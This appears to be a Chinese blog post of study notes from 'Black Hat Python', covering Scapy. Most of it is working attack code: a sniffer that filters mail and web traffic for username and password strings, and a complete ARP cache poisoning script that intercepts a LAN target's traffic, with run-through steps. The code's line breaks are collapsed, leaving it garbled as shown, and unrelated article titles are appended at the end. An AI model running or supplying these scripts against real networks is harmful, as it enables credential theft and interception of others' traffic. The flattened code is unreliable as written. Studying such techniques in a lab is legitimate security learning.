1.窃取Email认证
1.1创建一个简单的嗅探器,捕获一个数据包,packet.show()函数解析了其中的协议信息并输出了包的内容。

from scapy.all import *
def packet_callbacke(packet):print packet.show()sniff(prn=packet_callbacke,count=1)

得到

python mail.py
WARNING: No route found for IPv6 destination :: (no default route?)
###[ Ethernet ]###dst       = c4:ca:d9:a8:cf:58src       = 60:eb:69:15:76:5ftype      = 0x800
###[ IP ]###version   = 4Lihl       = 5Ltos       = 0x0len       = 52id        = 6428flags     = DFfrag      = 0Lttl       = 64proto     = tcpchksum    = 0xbacfsrc       = 10.21.21.120dst       = 115.239.211.92\options   \
###[ TCP ]###sport     = 33038dport     = httpseq       = 2801454030ack       = 0dataofs   = 8Lreserved  = 0Lflags     = Swindow    = 8192chksum    = 0xf415urgptr    = 0options   = [('MSS', 1460), ('NOP', None), ('WScale', 2), ('NOP', None), ('NOP', None), ('SAckOK', '')]
None

1.2设置过滤器

from scapy.all import *# 数据包回调函数
def packet_callback(packet):if packet[TCP].payload:mail_packet = str(packet[TCP].payload)if "user" in mail_packet.lower() or "pass" in mail_packet.lower():print "[*] Server: %s" % packet[IP].dstprint "[*] %s" % packet[TCP].payload# 开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)

前两次没有接收到数据:没有开启邮件客户端,而是用的web客户端传输邮件,第三次修改了代码的接收端口,加入一个80 port,此时可以接收到web端的数据。

2.ARP 缓存投毒

#-*- coding:utf8 -*-from scapy.all import *
import os
import sys
import threading
import signalinterface   = "eth0"    #要嗅探的网卡 (linux下arp -a可查看)
target_ip   = "10.21.21.120"      #目标ip,这里测试的是另外一台win主机
gateway_ip  = "10.21.21.1"        #网关ip,这里是目标的网关
packet_count = 1000def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):# 以下代码调用send函数的方式稍有不同print "[*] Restoring target..."send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)# 发出退出信号到主线程os.kill(os.getpid(), signal.SIGINT)def get_mac(ip_address):# srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)# 返回从响应数据中获取的MAC地址for s,r in responses:return r[Ether].srcreturn Nonedef poison_target(gateway_ip, gateway_mac, target_ip, target_mac):poison_target = ARP()poison_target.op = 2                # 01代表请求包,02代表应答包poison_target.psrc = gateway_ip     # 模拟网关发出poison_target.pdst = target_ip      # 目的地是目标机器poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的macpoison_gateway = ARP()poison_gateway.op = 2               # 响应报文poison_gateway.psrc = target_ip     # 模拟目标机器发出poison_gateway.pdst = gateway_ip    # 目的地是网关poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的macprint "[*] Beginning the ARP poison. [CTRL_C to stop]"while True:try:# 开始发送ARP欺骗包(投毒)send(poison_target)send(poison_gateway)# 停两秒time.sleep(2)except KeyboardInterrupt:restore_target(gateway_ip, gateway_mac, target_ip, target_mac)print "[*] ARP poison attack finished"return# 设置嗅探的网卡
conf.iface = interface# 关闭输出
conf.verb = 0print "[*] Setting up %s" % interface# 获取网关mac
gateway_mac = get_mac(gateway_ip)if gateway_mac is None:print "[!!!] Failed to get gateway MAC. Exiting"sys.exit(0)
else:print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)if target_mac is None:print "[!!!] Failed to get target MAC. Exiting"sys.exit(0)
else:print "[*] Target %s is at %s" % (target_ip, target_mac)# 启动ARP投毒线程
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()try:print "[*] Starting sniffer for %d packets" % packet_countbpf_filter = "ip host %s " % target_ip  # 过滤器packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)# 将捕获到的数据包输出到文件wrpcap("arper.pcap", packets)# 还原网络配置restore_target(gateway_ip, gateway_mac, target_ip, target_mac)except KeyboardInterrupt:# 还原网络配置restore_target(gateway_ip, gateway_mac, target_ip, target_mac)sys.exit(0)

主要函数poison_target()中的两部分

poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac   mac

对目标机器而言

攻击机的mac是网关,就是攻击者的机器是网关
模拟是网关发出的, 其实是我们的机器发出的

poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac

(1) 先用scanner.py扫描一下存活的主机

(2) 目标机器上arp -a查看 对应mac

(3) 攻击方 arp -a

(4) 查看是否能ping通,目标机器存在有线和无线ip时无法ping通,关掉无线,使得攻击方和目标方同在一个子网内,ip不冲突即可ping 通


(5) 开始攻击

(6) 攻击后查看对比目标机器的mac

看到目标机器的mac地址被改成了攻击方的mac
(目标机器不能上网了……忘记开启流量转发…….)

(7) 打开默认路径下arper.pcap就能看到目标机器通信的信息
(8)再打开arp -a就是

汇总了………

python-Scapy网络的掌控者相关推荐

  1. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者

    目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...

  2. scapy python3_【Python3黑帽子学习笔记 on Mac】第四章 Scapy:网络的掌控者

    Scapy:网络掌控者? 哇咔咔,我喜欢!可是我的问题来了,貌似Scapy只支持Python2,那哥哥这Python3咋办呢? [最新更新:目前scapy目前已经支持Python3了,就不用折腾这个了 ...

  3. Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者

    1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...

  4. python scapy网络嗅探

    1. 介绍 scapy是一个可用于网络嗅探的非常强大的第三方库.在网络嗅探方面前面的博文介绍过通过Raw Socket进行网络嗅探,但是Raw Socket比较底层,使用起来可能不太容易而且在不同的系 ...

  5. python scapy使用教程_Scapy的基本使用

    关于Scapy Scapy是一个可以让用户发送.侦听和解析并伪装网络报文的Python程序.这些功能可以用于制作侦测.扫描和攻击网络的工具. 换言之,Scapy 是一个强大的操纵报文的交互程序.它可以 ...

  6. python 从网络URL读取图片并直接处理的代码

    如下代码段是关于python 从网络URL读取图片并直接处理的代码. import urllib2 import Image import cStringIO def ImageScale(url,s ...

  7. python下载文件到本地-Python下载网络文本数据到本地内存的四种实现方法示例

    本文实例讲述了Python下载网络文本数据到本地内存的四种实现方法.分享给大家供大家参考,具体如下: import urllib.request import requests from io imp ...

  8. Python高级网络编程系列之第一篇

    在上一篇中我们简单的说了一下Python中网络编程的基础知识(相关API就不解释了),其中还有什么细节的知识点没有进行说明,如什么是TCP/IP协议有几种状态,什么是TCP三次握手,什么是TCP四次握 ...

  9. [源码]python Scapy Ftp密码嗅探

    [源码]python Scapy Ftp密码嗅探 原理很简单,FTP密码明文传输的 截取tcp 21端口User和Pass数据即可 Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe ...

  10. Python3网络爬虫快速入门实战解析(一小时入门 Python 3 网络爬虫)

    Python3网络爬虫快速入门实战解析(一小时入门 Python 3 网络爬虫) https://blog.csdn.net/u012662731/article/details/78537432 出 ...

最新文章

  1. 央视曝光:股市暴跌暴涨,投资的安全感在哪里?
  2. boost::detail::reference_content的用法测试程序
  3. BZOJ2209: [Jsoi2011]括号序列
  4. android StringBuilder的Capacity的使用
  5. html文本分类输出,构建中文网页分类器对网页进行文本分类
  6. TCP Congestion Control
  7. 两台电脑usb直连传数据_如何通过一根USB数据线把手机/平板充当电脑的第二个显示器...
  8. html读取媒体长度,用媒体查询media根据屏幕分辨率大小确定网页宽度
  9. Docker学习总结(2)——Docker实战之入门以及Dockerfile(二)
  10. RedisLockRegistry源码-redis分布式锁
  11. leetcode Implement strStr()
  12. (一)区块链的共识算法:整体介绍 及 分叉 的通俗讲解
  13. cdr多页面排版_cdr排版实例图文教程,教你CorelDRAW杂志内页排版方法
  14. Django读取图片
  15. 迅捷PDF转换器怎样转换文件格式
  16. 接口测试-post常见数据提交方式
  17. 【html】【一个简单的用户登录页面代码】
  18. linux终端设备:tty子系统相关的初始化
  19. 华为手机怎么变鸿蒙系统,刚公布,未来你的华为手机将迎来这些改变→
  20. keil怎么将c语言烧写软件下载,Keil-MDK编译完成后自动烧写下载

热门文章

  1. mysql8修改密码之后无法登陆_解决MySQL8.0安装第一次登陆修改密码时出现的问题...
  2. 邯郸学院计算机专业就业怎么样,邯郸学院好就业吗?附邯郸学院就业率最高的专业名单...
  3. 2022年,元宇宙是否能结束争议?
  4. python 使用node_vm2执行js
  5. 什么是模拟量,通俗易懂的讲解AI和AO
  6. 老毛子Padavan固件DDNS不更新问题
  7. 电脑黑屏只有鼠标能动怎么办???
  8. 一个从阿里面试回来的程序员的感想
  9. python canopen_CAN与CANOPEN在电机控制中的应用
  10. Javascript 从ES5到ES7 - 14 类型运算